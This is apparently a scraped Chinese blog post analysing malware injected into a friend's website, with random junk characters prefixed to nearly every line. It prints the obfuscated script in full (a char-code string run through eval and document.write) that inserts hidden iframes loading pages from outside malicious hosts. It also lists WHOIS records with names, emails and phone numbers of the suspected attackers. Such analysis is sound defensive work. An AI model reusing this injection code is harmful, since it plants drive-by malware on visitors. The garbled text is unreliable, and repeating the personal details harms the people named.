首发在我的博客里面，
RawK9K_1 '}`|QJ http://www.areway.cn/?p=175 R"au 8f. #b~wIOR)Z ?H c~ 3 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
&*}NN5Sv 0]F'k8yLN <script>t=’60,105,102,114,97,109,101,
S_z }h 32,115,114,99,61,104,116,116,112,58,47,47,
=ZsM[wd 102,114,101,101,46,117,45,117,117,117,46,99,
sGf\!w 110,47,101,114,114,111,114,46,104,116,109,
}HM8VAH 32,119,105,100,116,104,61,49,48,48,32,104,
@$5GxIw<l 101,105,103,104,116,61,48,62,60,47,105,102,
Yfk){1 114,97,109,101,62′;
Cmq.V@ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
v;E7UL
.w 3~e"CKD> <script>t=’60,105,102,114,97,109,101,32,115,
kAbkhZ1^ 114,99,61,104,116,116,112,58,47,47,102,114,
; CU <\ 101,101,46,117,45,117,117,117,46,99,110,47,
p0KkPE">p4 101,114,114,111,114,46,104,116,109,32,119,
w1J&c' - 105,100,116,104,61,49,48,48,32,104,101,105,
dQ=mg#( 103,104,116,61,48,62,60,47,105,102,114,97,
00') Ol& 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
}w \["r document.write(t);</script>
; & 2J9 >IW0YIQy, <html xmlns=”
|~mi6 lJ6 http://www.w3.org/1999/xhtml H61 ,pr> “>
P@Wi^svj <head>
FhgO5@BO <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
D6i HkDTg <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
ta>:iQ a <title>首页 - 爱生活家庭网
pV:c`1\` / r#.BXP 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
6V= 69} 转换字符串后的大概内容是（谁点击后果自付）：
u>Z0ug6x <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
5oQy
$Y ^|@t 2Rp@ 查询玉米u-uuu.cn的详细信息：
*rO#UE2 Domain Name: u-uuu.cn
Y`S9mGR# ROID: 20070901s10001s64972306-cn
] X,C9 Domain Status: ok
QN_Zd@ K*A Registrant Organization: 王雷
bk E4{P" Registrant Name: 王雷
,?GEL>F Administrative Email:
czlovexs@126.com {g?$u Sponsoring Registrar: 北京万网志成科技有限公司
_B` '1tNx Name Server:ns.yovole.com
)v1n#m,W Name Server:ns1.yovole.com
nDnSVrvd-i Registration Date: 2007-09-01 17:54
& ?mH[rG" Expiration Date: 2008-09-01 17:54
>Vr+ \c 最后PING了一下地址 都没有什么….
zbdmz #C1u~db 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
B./Lp_QK <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
6P=6E <script language=”javascript” src=”
VLW<"7I 6\ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 0c4H2RW >
i]8HzKuiW 这个玉米应该有可能是木马作者的：
W L4{_X foafau.info的详细信息：
f&glY`s# Access to INFO WHOIS information is provided to assist persons in
`;-K/)/x determining the contents of a domain name registration record in the
"?|sC{'C4j Afilias registry database. The data in this record is provided by
+0mU) 4n/ Afilias Limited for informational purposes only, and Afilias does not
4I7} guarantee its accuracy. This service is intended only for query-based
+E7s[9/r access. You agree that you will use this data only for lawful purposes
d zMlfJp and that, under no circumstances will you use this data to: (a) allow,
4l+"J:, enable, or otherwise support the transmission by e-mail, telephone, or
`_C4L=q" facsimile of mass unsolicited, commercial advertising or solicitations
5v4
,YHD to entities other than the data recipient’s own existing customers; or
4 2aYM! (b) enable high volume, automated, electronic processes that send
9L;fT5Tp7 queries or data to the systems of Registry Operator, a Registrar, or
C- /<5D
j Afilias except as reasonably necessary to register domain names or
1BK-uv: modify existing registrations. All rights reserved. Afilias reserves
^ZX 71- the right to modify these terms at any time. By submitting this query,
H:
Rd4dl,
you agree to abide by this policy.
[mKPOg-t Domain ID:D22418703-LRMS
K'.aQ&2 Domain Name:FOAFAU.INFO
P.WEu<$ Created On:20-Nov-2007 16:05:42 UTC
+ ^n [B Last Updated On:20-Nov-2007 16:05:44 UTC
p \66`\\l Expiration Date:20-Nov-2008 16:05:42 UTC
)(`I1"1 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
X TpYf Status:CLIENT DELETE PROHIBITED
F@Qz h Status:CLIENT RENEW PROHIBITED
iJE
$ 3 Status:CLIENT TRANSFER PROHIBITED
V dp wZ Status:CLIENT UPDATE PROHIBITED
M<oIo 036 Status:TRANSFER PROHIBITED
iE$qq ~% Registrant ID:GODA-040110615
m .ev~Vv~ Registrant Name:liu hong
X(Gp3lG
Registrant Organization:
:,03)[u{8 Registrant Street1:beijing
UN'[sHjOnD Registrant Street2:
6 ('2.^8 Registrant Street3:
8 SII>iL{ Registrant City:beijing
xMNUy B{? Registrant State/Province:
25%[nk O4 Registrant Postal Code:100000
<U(wLG'XS Registrant Country:CN
iIFM 5CT Registrant Phone:+86.860108888777
CAdq oCz| Registrant Phone Ext.:
% "|I`
m Registrant FAX:
T 9.3 Registrant FAX Ext.:
$eUI.j(HU Registrant Email:bbbshiji@163.com
$_N Yu Admin ID:GODA-240110615
T: & Admin Name:liu hong
{/SU fXq Admin Organization:
o.IJ4'}aN Admin Street1:beijing
e E: J
Admin Street2:
4SRX@/ #8* Admin Street3:
R&Y+x;({ Admin City:beijing
. _j9^Ll Admin State/Province:
7}>7@ W8 Admin Postal Code:100000
x"q! =&>f Admin Country:CN
%fB]N Admin Phone:+86.860108888777
^$-ID6 Admin Phone Ext.:
9?$Qk0jc Admin FAX:
3o X\q/$ Admin FAX Ext.:
<7-:flQz~ Admin Email:bbbshiji@163.com
X6I"&yct Billing ID:GODA-340110615
"NR`{1f:O Billing Name:liu hong
*@`Sx' 5! Billing Organization:
Fd!Np7xw Billing Street1:beijing
' jAX&7G` Billing Street2:
qKu/~0a/ Billing Street3:
JB.f7- Billing City:beijing
7.Df2_ ) Billing State/Province:
.YYfba#{
Billing Postal Code:100000
Kx,#Wg{H Billing Country:CN
!Au'WJfE Billing Phone:+86.860108888777
w1tWy Kq Billing Phone Ext.:
6U|An* Billing FAX:
s`Z |
A Billing FAX Ext.:
.!|\Y !]^r Billing Email:bbbshiji@163.com
XS+2OutVo Tech ID:GODA-140110615
0;9X`z
J Tech Name:liu hong
vz'/] E Tech Organization:
r ]JV !'R Tech Street1:beijing
jpijnz{M Tech Street2:
BN??3F8C Tech Street3:
i+r h&, Tech City:beijing
]\DZW4?' Tech State/Province:
[t #xX59 Tech Postal Code:100000
8NCu ;s Tech Country:CN
66ULR&D8 Tech Phone:+86.860108888777
PM ]|S` Tech Phone Ext.:
fCC^hB]' Tech FAX:
RLl*@SEi" Tech FAX Ext.:
X0a)6HZ{ Tech Email:bbbshiji@163.com
"m2g"x a\7 Name Server:NS27.DOMAINCONTROL.COM
?r
P'PUB Name Server:NS28.DOMAINCONTROL.COM
+d/V^ <# Name Server:
r"HQ>Wn Name Server:
ZSWKVTi Name Server:
pjG/` Name Server:
'Lm\ r+$F Name Server:
W }^X;f Name Server:
yhTC?sf< Name Server:
t5t!-w\M$+ Name Server:
F FC"rG Name Server:
~) ut"4
Name Server:
>~_oSC)E Name Server:
{\:"OcP # |.]sL0; 4Z 接着下载每个文件里面的代码：
3i\<#{ 一步一步看..
Owd{; 
_#;UXAi 
M/<>'%sj 
Zw@=WW[Q`p 
z[vHMJ
0 
6l Suzu 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
